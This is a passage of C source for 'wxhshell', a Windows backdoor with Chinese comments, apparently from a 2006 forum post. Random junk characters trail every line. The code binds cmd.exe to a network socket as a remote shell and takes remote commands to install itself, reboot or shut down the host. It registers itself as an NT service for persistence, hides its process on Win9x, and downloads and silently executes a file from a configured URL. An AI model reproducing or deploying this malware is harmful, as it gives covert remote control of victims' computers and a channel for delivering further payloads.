      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S f# R0SA  
    break; V'gh 6`v  
  } R:qW;n%AF  
  // 安装 ECmW`#Otb)  
  case 'i': { w7L) '9  
    if(Install()) 8}:nGK|kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |[8Th4*n  
    else Ny/MJ#Lq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p]c%f 2E>d  
    break; #RLt^$!H  
    } N;%6:I./  
  // 卸载 I&5!=kR  
  case 'r': { :ShT|n7  
    if(Uninstall()) aN3;`~{9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]r?{t`]  
    else GQ ;;bcj&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wMN]~|z>  
    break; A=0'Ks  
    } Tlr v={  
  // 显示 wxhshell 所在路径 MolgwVd  
  case 'p': { BMf@M  
    char svExeFile[MAX_PATH]; dj%!I:Q>u  
    strcpy(svExeFile,"\n\r"); 9lE_nc  
      strcat(svExeFile,ExeFile); alb.g>LNPP  
        send(wsh,svExeFile,strlen(svExeFile),0); |y!A&d=xYn  
    break; ^LLzZnkcZ  
    } ],].zlN  
  // 重启 /Z4et'Lo  
  case 'b': { HxI" 8A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TD_Oo-+\  
    if(Boot(REBOOT)) ,R|BG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w4Z'K&d=  
    else { 1h5 Akq  
    closesocket(wsh); 32 =z)]FZ  
    ExitThread(0); e96k{C`j0  
    } )!T/3|C  
    break; }ad|g6i`  
    } (7*}-Uy[C  
  // 关机 v &+R^iLE  
  case 'd': { @KAI4LP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /a o5FL  
    if(Boot(SHUTDOWN)) ~Cjn7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zx7{U8*`<  
    else { T6k0>[3xf  
    closesocket(wsh); ehY5!D1Q  
    ExitThread(0); WX0tgXl  
    } xId.GWY1  
    break; "zy7C*)>r  
    } Y nZiT e@  
  // 获取shell %~S&AE-  
  case 's': { EJ@ ~/)<  
    CmdShell(wsh); g=o4Q< #^y  
    closesocket(wsh); 7x a>  
    ExitThread(0); |zE'd!7E  
    break; )\^-2[;  
  } t0 ?\l)  
  // 退出 N}YkMJy  
  case 'x': { _<2E"PrT   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7=, ;h  
    CloseIt(wsh); 29q _BR *:  
    break; N,U8YO  
    } sn>~O4"  
  // 离开 >-{Hyx  
  case 'q': { S 6,.FYH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4v|W-h"K  
    closesocket(wsh); N)>ID(}F1  
    WSACleanup(); OK g qT!  
    exit(1); xAP+FWyV  
    break; ei5~&  
        } uRe'%?W  
  } k-""_WJ~^  
  } &YeA:i?  
&]-DqK7  
  // 提示信息 & "B=/-(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S`?!G&[!>  
} .XhrCi Z  
  } '$QB$2~V  
r/*D:x|yN  
  return; Q)z8PQl O  
} uA#;G/$  
RY*U"G0#w  
// shell模块句柄 $xdy&  
int CmdShell(SOCKET sock) VgS_s k  
{ ?@ $r  
STARTUPINFO si; y$R_.KbO  
ZeroMemory(&si,sizeof(si)); ;P&OX5~V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w.-!UD9/.x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J!7MZL b  
PROCESS_INFORMATION ProcessInfo; 9k[9P;"F:  
char cmdline[]="cmd"; "8zDbdK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?#Q #u|~  
  return 0; ib791  
} t5IEQ2  
26x[X.C:  
// 自身启动模式 Nu~lsWyRI5  
int StartFromService(void) K )k<Rh[<  
{ 1]/.` ]1  
typedef struct j^2j& Ta  
{ Tkgs]q79  
  DWORD ExitStatus; @49S`  
  DWORD PebBaseAddress; VBcPu  
  DWORD AffinityMask; G'aDb/  
  DWORD BasePriority; Tc3yS(aq  
  ULONG UniqueProcessId; ;@E$}*3[>V  
  ULONG InheritedFromUniqueProcessId; {3vNPQJ  
}   PROCESS_BASIC_INFORMATION; ^@NU}S):yN  
g5r(>,vY  
PROCNTQSIP NtQueryInformationProcess; D=&Me=$  
/fV;^=:8c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gjzuG< 7m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OJy#w{4  
l_%6  
  HANDLE             hProcess; 6<(.4a?  
  PROCESS_BASIC_INFORMATION pbi; Aj]V`B:65  
Jo23P.#<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <0q;NrvUb  
  if(NULL == hInst ) return 0; [QT#Yf0  
q;)JISf.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Hh9a;.*}h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $5Ff1{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \d$!a5LF}  
<B8!.|19  
  if (!NtQueryInformationProcess) return 0; 1c{DY  
!f&g-V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q.`NtsW!\+  
  if(!hProcess) return 0; tT?cBg{  
Bh]P{H%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $(>+VH`l  
"o}+Ciul  
  CloseHandle(hProcess); A '];`  
3"KCh\\b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  p|D/;Mk  
if(hProcess==NULL) return 0; C#Iybg  
Z Sd4z:/  
HMODULE hMod; 3y8G?LL/[7  
char procName[255]; 03S]8l  
unsigned long cbNeeded; 161xAig  
!^Y(^RS@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sa;qW3dt3E  
l}sjD[2  
  CloseHandle(hProcess); >_ 2dvg=U  
%UCr;H/  
if(strstr(procName,"services")) return 1; // 以服务启动 )+t0:GwP`:  
bY QRBi  
  return 0; // 注册表启动 v9O~@v{=  
} /,Re "!jh  
xLH)P<^`C  
// 主模块 PQ$%H>{  
int StartWxhshell(LPSTR lpCmdLine) ?|B&M\}g  
{ s 15 oN  
  SOCKET wsl; =k`Cr0aPF  
BOOL val=TRUE; 7X'u6$i  
  int port=0; GKc`xIQ  
  struct sockaddr_in door; 7!TueP0Zd  
R>mmoG}MQ[  
  if(wscfg.ws_autoins) Install(); Oh6fj}eK  
|f_[\&<*  
port=atoi(lpCmdLine);   =`s!;  
T&o(N3lW  
if(port<=0) port=wscfg.ws_port; Ob`d  
JKmIvZ)8  
  WSADATA data; JB]q   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TXvI4"&  
YRN06*hS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l &5QZI0I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $jqq `n_  
  door.sin_family = AF_INET; 8jo p_PG'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8~z~_TD6m@  
  door.sin_port = htons(port); kH7(@Pa  
jeH~<t{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e:n<EnT  
closesocket(wsl); X1-'COQS%&  
return 1; p(`6hWx  
} k" PayyAC  
v8[I 8{41  
  if(listen(wsl,2) == INVALID_SOCKET) { n+q!l&&  
closesocket(wsl); JJ2_hVU  
return 1; >$7v ;Q  
} jiS_G%G  
  Wxhshell(wsl); DiwxXqY  
  WSACleanup(); @ljA  
?6un4EVL{  
return 0; 5l2 ?  
YS@ypzc/  
} O  %!!w  
p#?7 w  
// 以NT服务方式启动 <[\`qX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,<tX%n`v=  
{ e2t-4} ww  
DWORD   status = 0; B43HNs  
  DWORD   specificError = 0xfffffff; u:gN?O/G  
pg.ri64H<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ()Y4v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uU <=d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q6SXWT'Sa  
  serviceStatus.dwWin32ExitCode     = 0; 8WbgSY`  
  serviceStatus.dwServiceSpecificExitCode = 0; ^*8G8'k;$  
  serviceStatus.dwCheckPoint       = 0; ;q:zT\A  
  serviceStatus.dwWaitHint       = 0; 1V4s<m>#  
zHL@i0>^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Mg OR2,cR  
  if (hServiceStatusHandle==0) return; /VS [pXXT|  
A3no~)wZn  
status = GetLastError(); Gh}LlX!w  
  if (status!=NO_ERROR) XY)&}u.  
{ y8L D7<1u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t2"O  
    serviceStatus.dwCheckPoint       = 0; 9XyYHi  
    serviceStatus.dwWaitHint       = 0; )- viGxJ@  
    serviceStatus.dwWin32ExitCode     = status; 5rRN-  
    serviceStatus.dwServiceSpecificExitCode = specificError; !?p%xj?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [t7]{d*  
    return; %Bn?n{ /  
  } {QZUDPPR  
o/6-3QUak  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <2|O:G  
  serviceStatus.dwCheckPoint       = 0; 8lb%eb]U  
  serviceStatus.dwWaitHint       = 0; zj`v?#ET  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 65p?Igb  
} 4.h=&jz&  
~ ! 3I2  
// 处理NT服务事件,比如:启动、停止 3k# /{Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U.XNv-M  
{ y[\VUzD*'  
switch(fdwControl) a /#PLP  
{ \ 3?LqJ  
case SERVICE_CONTROL_STOP: lR[qqFR  
  serviceStatus.dwWin32ExitCode = 0; %D8ZO0J7H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,(?po (']  
  serviceStatus.dwCheckPoint   = 0; 2 :mn</z  
  serviceStatus.dwWaitHint     = 0; .J.-Mm` .  
  { @t`Xq1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }!/$M\w  
  } Eam  
  return; J-) XQDD  
case SERVICE_CONTROL_PAUSE: xY U.D+RY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;._7jFj.  
  break; N:tY":Hi  
case SERVICE_CONTROL_CONTINUE: )m{Ye0!RD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x{,q]u /  
  break; @` Eg(  
case SERVICE_CONTROL_INTERROGATE: ^#1.l=s  
  break; _~tEw.fM5  
}; _5m#2u51i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o{EC&-  
} z=_Ef3`M  
}gMDXy}  
// 标准应用程序主函数 199]WHc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f<*Js)k  
{ HXYRH  
3=$q  
// 获取操作系统版本 w TGb d  
OsIsNt=GetOsVer(); /43-;"%>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -zO2|@S,  
E55t*^`  
  // 从命令行安装 =w5O&(  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;)I'WQ]Q  
RZ7( J  
  // 下载执行文件 7kK #\dI  
if(wscfg.ws_downexe) { )r z+'|,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^1x*lLf  
  WinExec(wscfg.ws_filenam,SW_HIDE); V&|Ed  
} e)IpPTj#  
}KKY6D|d>  
if(!OsIsNt) { %#Z/2<_  
// 如果时win9x,隐藏进程并且设置为注册表启动 -:9P%jWt  
HideProc(); d90Z,nex  
StartWxhshell(lpCmdLine); NU\ 5{N<  
} o/ mF #  
else 1 s*.A6EP"  
  if(StartFromService()) + "}=d3E6  
  // 以服务方式启动 ;HBC Ue<_  
  StartServiceCtrlDispatcher(DispatchTable); TtDg*kZ  
else s(LT  
  // 普通方式启动 J5[~LZKW  
  StartWxhshell(lpCmdLine); ,j ',x\  
nL}5cPI  
return 0; fiI $T:g.  
}
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只看该作者 1 发表于: 2006-10-10
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